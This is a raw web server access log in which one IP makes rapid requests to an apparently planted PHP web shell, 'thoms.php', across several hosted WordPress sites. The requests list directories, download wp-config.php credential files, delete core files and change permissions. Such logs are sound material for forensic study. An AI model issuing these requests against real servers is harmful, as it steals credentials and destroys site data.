45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13827 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17379 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17710 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17299 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17374 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17501 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17418 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=upgrade HTTP/1.1" 200 11357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=wp-content HTTP/1.1" 200 11366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19237 "https://163.245.207.76/thoms.php?copy=bogroup.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19277 "https://163.245.207.76/thoms.php?copy=bogroup.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19284 "https://163.245.207.76/thoms.php?copy=bogroup.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=betcity.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=cgi-bin HTTP/1.1" 200 11306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bossini.com.tw HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19276 "https://163.245.207.76/thoms.php?copy=bogroup.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bfl.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bft.com.tw HTTP/1.1" 200 11424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=cgi-bin HTTP/1.1" 200 11310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wp-content HTTP/1.1" 200 11371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19451 "https://163.245.207.76/thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19449 "https://163.245.207.76/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19459 "https://163.245.207.76/thoms.php?copy=biotaiwan.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19460 "https://163.245.207.76/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=upgrade HTTP/1.1" 200 11359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p= HTTP/1.1" 200 12013 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?dl=wp-config.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=wp-settings.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p= HTTP/1.1" 200 12022 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=locoy.php&p=bfl.com.tw HTTP/1.1" 200 17469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?dl=locoy.php&p=bfl.com.tw HTTP/1.1" 200 17462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?dl=mah.php&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?dl=thoms.php&p=bfl.com.tw HTTP/1.1" 200 17463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?p=bfl.com.tw&settings=1 HTTP/1.1" 200 11877 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p= HTTP/1.1" 200 12025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?chmod=locoy.php&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=error_log&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=wp-activate.php&p=bfl.com.tw HTTP/1.1" 200 17470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=license.txt&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12577 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
